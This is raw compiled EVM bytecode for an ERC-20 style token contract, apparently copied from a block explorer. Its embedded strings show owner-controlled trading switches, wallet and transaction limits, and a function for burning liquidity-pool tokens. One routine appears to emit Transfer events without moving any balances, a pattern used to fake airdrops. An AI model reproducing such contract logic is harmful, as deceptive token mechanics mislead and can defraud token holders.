88565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b5f614e22603283613ef0565b9150614e2d82614dc8565b604082019050919050565b5f6020820190508181035f830152614e4f81614e16565b9050919050565b614e5f82613ee6565b67ffffffffffffffff811115614e7857614e77614590565b5b614e828254614728565b614e8d82828561486d565b5f60209050601f831160018114614ebe575f8415614eac578287015190505b614eb685826148db565b865550614f1d565b601f198416614ecc86614762565b5f5b82811015614ef357848901518255600182019150602085019450602081019050614ece565b86831015614f105784890151614f0c601f8916826148bf565b8355505b6001600288020188555050505b505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f614f7f602683613ef0565b9150614f8a82614f25565b604082019050919050565b5f6020820190508181035f830152614fac81614f73565b9050919050565b5f614fbd82613ffb565b9150614fc883613ffb565b9250828201905080821115614fe057614fdf6149c3565b5b92915050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973685f82015250565b5f61501a602083613ef0565b915061502582614fe6565b602082019050919050565b5f6020820190508181035f8301526150478161500e565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f5f8201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b5f6150a8602a83613ef0565b91506150b38261504e565b604082019050919050565b5f6020820190508181035f8301526150d58161509c565b9050919050565b5f815190506150ea81614004565b92915050565b5f6020828403121561510557615104613f99565b5b5f615112848285016150dc565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f615175602483613ef0565b91506151808261511b565b604082019050919050565b5f6020820190508181035f8301526151a281615169565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f615203602283613ef0565b915061520e826151a9565b604082019050919050565b5f6020820190508181035f830152615230816151f7565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61526b602083613ef0565b915061527682615237565b602082019050919050565b5f6020820190508181035f8301526152988161525f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6152f9602583613ef0565b91506153048261529f565b604082019050919050565b5f6020820190508181035f830152615326816152ed565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f615387602383613ef0565b91506153928261532d565b604082019050919050565b5f6020820190508181035f8301526153b48161537b565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6153ef601683613ef0565b91506153fa826153bb565b602082019050919050565b5f6020820190508181035f83015261541c816153e3565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6154a3604983613ef0565b91506154ae82615423565b606082019050919050565b5f6020820190508181035f8301526154d081615497565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f615531603583613ef0565b915061553c826154d7565b604082019050919050565b5f6020820190508181035f83015261555e81615525565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f615599601383613ef0565b91506155a482615565565b602082019050919050565b5f6020820190508181035f8301526155c68161558d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f615627603683613ef0565b9150615632826155cd565b604082019050919050565b5f6020820190508181035f8301526156548161561b565b9050919050565b5f61566582613ffb565b915061567083613ffb565b9250828203905081811115615688576156876149c3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6156c2601b83613ef0565b91506156cd8261568e565b602082019050919050565b5f6020820190508181035f8301526156ef816156b6565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f615750602183613ef0565b915061575b826156f6565b604082019050919050565b5f6020820190508181035f83015261577d81615744565b9050919050565b5f81905092915050565b50565b5f61579c5f83615784565b91506157a78261578e565b5f82019050919050565b5f6157bb82615791565b9150819050919050565b5f815190506157d381613fd1565b92915050565b5f602082840312156157ee576157ed613f99565b5b5f6157fb848285016157c5565b91505092915050565b5f819050919050565b5f61582761582261581d84615804565b6141db565b613ffb565b9050919050565b6158378161580d565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61586f81613fc0565b82525050565b5f6158808383615866565b60208301905092915050565b5f602082019050919050565b5f6158a28261583d565b6158ac8185615847565b93506158b783615857565b805f5b838110156158e75781516158ce8882615875565b97506158d98361588c565b9250506001810190506158ba565b5085935050505092915050565b5f60a0820190506159075f83018861424f565b615914602083018761582e565b81810360408301526159268186615898565b905061593560608301856143a4565b615942608083018461424f565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122084a0a7731fd93c1ed3831bd725a50a702d5e1bf6527186666f31fd0b5a09d23864736f6c63430008150033000000000000000000000000b8eff5edbf10e02f1a5d15bd612950687892878e

Deployed Bytecode

0x608060405260043610610413575f3560e01c80638a8c523c1161021d578063c024666811610122578063dd62ed3e116100aa578063f11a24d311610079578063f11a24d314610f88578063f2fde38b14610fb2578063f637434214610fda578063f8b45b0514611004578063fe72b27a1461102e5761041a565b8063dd62ed3e14610ed0578063e0dc354614610f0c578063e0df5b6f14610f36578063e2f4560514610f5e5761041a565b8063c876d0b9116100f1578063c876d0b914610dec578063c8c8ebe414610e16578063d257b34f14610e40578063d547cfb714610e7c578063d85ba06314610ea65761041a565b8063c024666814610d4a578063c18bc19514610d72578063c2b7bbb614610d9a578063c3f93b0114610dc25761041a565b8063a0d82dc5116101a5578063a9059cbb11610174578063a9059cbb14610c58578063ad296d9d14610c94578063b62496f514610cbc578063bbbb3ffc14610cf8578063bbc0c74214610d205761041a565b8063a0d82dc514610ba0578063a165506f14610bca578063a457c2d714610bf2578063a4c82a0014610c2e5761041a565b806392136913116101ec5780639213691314610ace57806395d89b4114610af85780639c3b4fdc14610b225780639ec22c0e14610b4c5780639fccce3214610b765761041a565b80638a8c523c14610a3a5780638bdb2afa14610a505780638da5cb5b14610a7a5780638ea5220f14610aa45761041a565b80633582ad231161032357806370a08231116102ab578063751039fc1161027a578063751039fc1461096a578063756b7bb7146109945780637571336a146109be57806375f0a874146109e65780637bce5a0414610a105761041a565b806370a08231146108b4578063715018a6146108f057806371954d7414610906578063730c1888146109425761041a565b806349bd5a5e116102f257806349bd5a5e146107d05780634fbee193146107fa578063660a00ed146108365780636a486a8e146108605780636ddd17131461088a5761041a565b80633582ad231461071857806339509351146107425780633c130d901461077e5780633eb2b5ad146107a85761041a565b80631a8145bb116103a657806326ededb81161037557806326ededb81461064857806327c8f835146106705780632c3e486c1461069a5780632e82f1a0146106c4578063313ce567146106ee5761041a565b80631a8145bb146105905780631f3fed8f146105ba578063203e727e146105e457806323b872dd1461060c5761041a565b80631694505e116103e25780631694505e146104e857806318160ddd14610512578063184c16c51461053c578063199ffc72146105665761041a565b806306fdde031461041e578063095ea7b3146104485780630d0da2d41461048457806310d5de53146104ac5761041a565b3661041a57005b5f80fd5b348015610429575f80fd5b5061043261106a565b60405161043f9190613f70565b60405180910390f35b348015610453575f80fd5b5061046e6004803603810190610469919061402e565b6110fa565b60405161047b9190614086565b60405180910390f35b34801561048f575f80fd5b506104aa60048036038101906104a59190614100565b611117565b005b3480156104b7575f80fd5b506104d260048036038101906104cd91906141b0565b61115d565b6040516104df9190614086565b60405180910390f35b3480156104f3575f80fd5b506104fc61117a565b6040516105099190614236565b60405180910390f35b34801561051d575f80fd5b5061052661119e565b604051610533919061425e565b60405180910390f35b348015610547575f80fd5b506105506111a7565b60405161055d919061425e565b60405180910390f35b348015610571575f80fd5b5061057a6111ad565b604051610587919061425e565b60405180910390f35b34801561059b575f80fd5b506105a46111b3565b6040516105b1919061425e565b60405180910390f35b3480156105c5575f80fd5b506105ce6111b9565b6040516105db919061425e565b60405180910390f35b3480156105ef575f80fd5b5061060a60048036038101906106059190614277565b6111bf565b005b348015610617575f80fd5b50610632600480360381019061062d91906142a2565b611252565b60405161063f9190614086565b60405180910390f35b348015610653575f80fd5b5061066e60048036038101906106699190614347565b611326565b005b34801561067b575f80fd5b50610684611401565b60405161069191906143b3565b60405180910390f35b3480156106a5575f80fd5b506106ae611407565b6040516106bb919061425e565b60405180910390f35b3480156106cf575f80fd5b506106d861140d565b6040516106e59190614086565b60405180910390f35b3480156106f9575f80fd5b50610702611420565b60405161070f91906143e7565b60405180910390f35b348015610723575f80fd5b5061072c611428565b6040516107399190614086565b60405180910390f35b34801561074d575f80fd5b506107686004803603810190610763919061402e565b61143b565b6040516107759190614086565b60405180910390f35b348015610789575f80fd5b506107926114e9565b60405161079f9190613f70565b60405180910390f35b3480156107b3575f80fd5b506107ce60048036038101906107c991906141b0565b6115a3565b005b3480156107db575f80fd5b506107e46115ee565b6040516107f191906143b3565b60405180910390f35b348015610805575f80fd5b50610820600480360381019061081b91906141b0565b611613565b60405161082d9190614086565b60405180910390f35b348015610841575f80fd5b5061084a611665565b604051610857919061425e565b60405180910390f35b34801561086b575f80fd5b5061087461166c565b604051610881919061425e565b60405180910390f35b348015610895575f80fd5b5061089e611672565b6040516108ab9190614086565b60405180910390f35b3480156108bf575f80fd5b506108da60048036038101906108d591906141b0565b611685565b6040516108e7919061425e565b60405180910390f35b3480156108fb575f80fd5b506109046116cb565b005b348015610911575f80fd5b5061092c600480360381019061092791906141b0565b61178d565b6040516109399190614086565b60405180910390f35b34801561094d575f80fd5b506109686004803603810190610963919061442a565b6117df565b005b348015610975575f80fd5b5061097e6118aa565b60405161098b9190614086565b60405180910390f35b34801561099f575f80fd5b506109a86118d4565b6040516109b59190613f70565b60405180910390f35b3480156109c9575f80fd5b506109e460048036038101906109df919061447a565b611964565b005b3480156109f1575f80fd5b506109fa6119c4565b604051610a0791906143b3565b60405180910390f35b348015610a1b575f80fd5b50610a246119e9565b604051610a31919061425e565b60405180910390f35b348015610a45575f80fd5b50610a4e6119ef565b005b348015610a5b575f80fd5b50610a64611a36565b604051610a7191906144d8565b60405180910390f35b348015610a85575f80fd5b50610a8e611a5b565b604051610a9b91906143b3565b60405180910390f35b348015610aaf575f80fd5b50610ab8611a82565b604051610ac591906143b3565b60405180910390f35b348015610ad9575f80fd5b50610ae2611aa7565b604051610aef919061425e565b60405180910390f35b348015610b03575f80fd5b50610b0c611aad565b604051610b199190613f70565b60405180910390f35b348015610b2d575f80fd5b50610b36611b3d565b604051610b43919061425e565b60405180910390f35b348015610b57575f80fd5b50610b60611b43565b604051610b6d919061425e565b60405180910390f35b348015610b81575f80fd5b50610b8a611b49565b604051610b97919061425e565b60405180910390f35b348015610bab575f80fd5b50610bb4611b4f565b604051610bc1919061425e565b60405180910390f35b348015610bd5575f80fd5b50610bf06004803603810190610beb91906144f1565b611b55565b005b348015610bfd575f80fd5b50610c186004803603810190610c13919061402e565b611b6b565b604051610c259190614086565b60405180910390f35b348015610c39575f80fd5b50610c42611c33565b604051610c4f919061425e565b60405180910390f35b348015610c63575f80fd5b50610c7e6004803603810190610c79919061402e565b611c39565b604051610c8b9190614086565b60405180910390f35b348015610c9f575f80fd5b50610cba6004803603810190610cb5919061452f565b611c56565b005b348015610cc7575f80fd5b50610ce26004803603810190610cdd91906141b0565b611cff565b604051610cef91906143b3565b60405180910390f35b348015610d03575f80fd5b50610d1e6004803603810190610d1991906144f1565b611d2f565b005b348015610d2b575f80fd5b50610d34611e10565b604051610d419190614086565b60405180910390f35b348015610d55575f80fd5b50610d706004803603810190610d6b919061447a565b611e23565b005b348015610d7d575f80fd5b50610d986004803603810190610d939190614277565b611ed1565b005b348015610da5575f80fd5b50610dc06004803603810190610dbb91906141b0565b611f64565b005b348015610dcd575f80fd5b50610dd6611fdb565b604051610de39190613f70565b60405180910390f35b348015610df7575f80fd5b50610e0061206b565b604051610e0d9190614086565b60405180910390f35b348015610e21575f80fd5b50610e2a61207e565b604051610e37919061425e565b60405180910390f35b348015610e4b575f80fd5b50610e666004803603810190610e619190614277565b612084565b604051610e739190614086565b60405180910390f35b348015610e87575f80fd5b50610e90612164565b604051610e9d9190613f70565b60405180910390f35b348015610eb1575f80fd5b50610eba6121f0565b604051610ec7919061425e565b60405180910390f35b348015610edb575f80fd5b50610ef66004803603810190610ef191906144f1565b6121f6565b604051610f03919061425e565b60405180910390f35b348015610f17575f80fd5b50610f20612278565b604051610f2d9190613f70565b60405180910390f35b348015610f41575f80fd5b50610f5c6004803603810190610f5791906146b4565b612308565b005b348015610f69575f80fd5b50610f72612323565b604051610f7f919061425e565b60405180910390f35b348015610f93575f80fd5b50610f9c612329565b604051610fa9919061425e565b60405180910390f35b348015610fbd575f80fd5b50610fd86004803603810190610fd391906141b0565b61232f565b005b348015610fe5575f80fd5b50610fee612460565b604051610ffb919061425e565b60405180910390f35b34801561100f575f80fd5b50611018612466565b604051611025919061425e565b60405180910390f35b348015611039575f80fd5b50611054600480360381019061104f9190614277565b61246c565b6040516110619190614086565b60405180910390f35b60606004805461107990614728565b80601f01602080910402602001604051908101604052809291908181526020018280546110a590614728565b80156110f05780601f106110c7576101008083540402835291602001916110f0565b820191905f5260205f20905b8154815290600101906020018083116110d357829003601f168201915b5050505050905090565b5f61110d6111066126f7565b84846126fe565b6001905092915050565b61111f6128c1565b8585600891826111309291906148f6565b508383600991826111429291906148f6565b508181600a91826111549291906148f6565b50505050505050565b6028602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600654905090565b60145481565b60165481565b601e5481565b601d5481565b6111c76128c1565b633b9aca006103e860016111d961119e565b6111e391906149f0565b6111ed9190614a5e565b6111f79190614a5e565b811015611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090614afe565b60405180910390fd5b633b9aca008161124991906149f0565b60118190555050565b5f61125e84848461293f565b61131b8461126a6126f7565b611316856040518060600160405280602881526020016159736028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6112cd6126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134749092919063ffffffff16565b6126fe565b600190509392505050565b61132e6128c1565b5f5b838390508110156113fb5783838281811061134e5761134d614b1c565b5b905060200201602081019061136391906141b0565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113e0919061425e565b60405180910390a380806113f390614b49565b915050611330565b50505050565b61dead81565b60175481565b602460019054906101000a900460ff1681565b5f6009905090565b602460039054906101000a900460ff1681565b5f6114df6114476126f7565b846114da8560035f6114576126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134d690919063ffffffff16565b6126fe565b6001905092915050565b60605f600b80546114f990614728565b9050116115145760405180602001604052805f81525061159e565b600b805461152190614728565b80601f016020809104026020016040519081016040528092919081815260200182805461154d90614728565b80156115985780601f1061156f57610100808354040283529160200191611598565b820191905f5260205f20905b81548152906001019060200180831161157b57829003601f168201915b50505050505b905090565b6115ab6128c1565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60275f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f46905090565b60235481565b602460049054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116d36128c1565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60255f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6117e76128c1565b61025883101561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390614c00565b60405180910390fd5b6103e8821115801561183e57505f8210155b61187d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187490614c8e565b60405180910390fd5b826017819055508160168190555080602460016101000a81548160ff021916908315150217905550505050565b5f6118b36128c1565b5f602460036101000a81548160ff0219169083151502179055506001905090565b6060600980546118e390614728565b80601f016020809104026020016040519081016040528092919081815260200182805461190f90614728565b801561195a5780601f106119315761010080835404028352916020019161195a565b820191905f5260205f20905b81548152906001019060200180831161193d57829003601f168201915b5050505050905090565b61196c6128c1565b8060285f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b6119f76128c1565b6001602460026101000a81548160ff0219169083151502179055506001602460046101000a81548160ff02191690831515021790555042601881905550565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60225481565b606060058054611abc90614728565b80601f0160208091040260200160405190810160405280929190818152602001828054611ae890614728565b8015611b335780601f10611b0a57610100808354040283529160200191611b33565b820191905f5260205f20905b815481529060010190602001808311611b1657829003601f168201915b5050505050905090565b60195481565b60155481565b601f5481565b60205481565b611b5d6128c1565b611b678282611d2f565b5050565b5f611c29611b776126f7565b84611c248560405180606001604052806025815260200161599b6025913960035f611ba06126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546134749092919063ffffffff16565b6126fe565b6001905092915050565b60185481565b5f611c4c611c456126f7565b848461293f565b6001905092915050565b611c5e6128c1565b5f5b83839050811015611cf9578160255f868685818110611c8257611c81614b1c565b5b9050602002016020810190611c9791906141b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080611cf190614b49565b915050611c60565b50505050565b6029602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d376128c1565b8060295f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b602460029054906101000a900460ff1681565b611e2b6128c1565b8060275f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611ec59190614086565b60405180910390a25050565b611ed96128c1565b633b9aca006103e86005611eeb61119e565b611ef591906149f0565b611eff9190614a5e565b611f099190614a5e565b811015611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290614d1c565b60405180910390fd5b633b9aca0081611f5b91906149f0565b60108190555050565b611f6c6128c1565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611fd8600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611964565b50565b6060600a8054611fea90614728565b80601f016020809104026020016040519081016040528092919081815260200182805461201690614728565b80156120615780601f1061203857610100808354040283529160200191612061565b820191905f5260205f20905b81548152906001019060200180831161204457829003601f168201915b5050505050905090565b602460059054906101000a900460ff1681565b60115481565b5f61208d6128c1565b620186a0600161209b61119e565b6120a591906149f0565b6120af9190614a5e565b8210156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e890614daa565b60405180910390fd5b6103e8600a6120fe61119e565b61210891906149f0565b6121129190614a5e565b821115612154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214b90614e38565b60405180910390fd5b8160128190555060019050919050565b600b805461217190614728565b80601f016020809104026020016040519081016040528092919081815260200182805461219d90614728565b80156121e85780601f106121bf576101008083540402835291602001916121e8565b820191905f5260205f20905b8154815290600101906020018083116121cb57829003601f168201915b505050505081565b601c5481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60606008805461228790614728565b80601f01602080910402602001604051908101604052809291908181526020018280546122b390614728565b80156122fe5780601f106122d5576101008083540402835291602001916122fe565b820191905f5260205f20905b8154815290600101906020018083116122e157829003601f168201915b5050505050905090565b6123106128c1565b80600b908161231f9190614e56565b5050565b60125481565b601a5481565b6123376128c1565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239c90614f95565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60215481565b60105481565b5f6124756128c1565b6014546015546124859190614fb3565b42116124c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bd90615030565b60405180910390fd5b6103e882111561250b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612502906150be565b60405180910390fd5b426015819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a08231600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161256d91906143b3565b602060405180830381865afa158015612588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125ac91906150f0565b90505f6125d66127106125c8868561353390919063ffffffff16565b6135aa90919063ffffffff16565b90505f81111561260f5761260e600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836135f3565b5b5f60295f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156126d5575f80fd5b505af11580156126e7573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361276c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127639061518b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d190615219565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128b4919061425e565b60405180910390a3505050565b6128c96126f7565b73ffffffffffffffffffffffffffffffffffffffff166128e7613880565b73ffffffffffffffffffffffffffffffffffffffff161461293d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293490615281565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a49061530f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129061539d565b60405180910390fd5b436013819055505f8103612a3957612a3483835f6135f3565b61346f565b602460039054906101000a900460ff161561303a5761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612abf5750612a8f611a5b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b365750612b06611a5b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612b4e575060245f9054906101000a900460ff16155b1561303957602460029054906101000a900460ff16612c425760275f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612c02575060275f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3890615405565b60405180910390fd5b5b602460059054906101000a900460ff1615612e0757612c5f611a5b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ce657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d3f5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e06574360265f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dba906154b9565b60405180910390fd5b4360265f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60285f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612ef757601154811115612e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9190615547565b60405180910390fd5b601054612ea683611685565b82612eb19190614fb3565b1115612ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee9906155af565b60405180910390fd5b613038565b60285f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612f8f57601154811115612f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f819061563d565b60405180910390fd5b613037565b60285f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661303657601054612fe983611685565b82612ff49190614fb3565b1115613035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302c906155af565b60405180910390fd5b5b5b5b5b5b60135460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61308830611685565b90505f60125482101590508080156130ac5750602460049054906101000a900460ff165b80156130c4575060245f9054906101000a900460ff16155b8015613117575060275f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561316a575060275f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156131ab57600160245f6101000a81548160ff021916908315150217905550613191613893565b5f60245f6101000a81548160ff0219169083151502179055505b60245f9054906101000a900460ff161580156131d35750602460019054906101000a900460ff165b156131e3576131e185613a0c565b505b5f60245f9054906101000a900460ff1615905060275f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613291575060275f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561329a575f90505b5f811561345f575f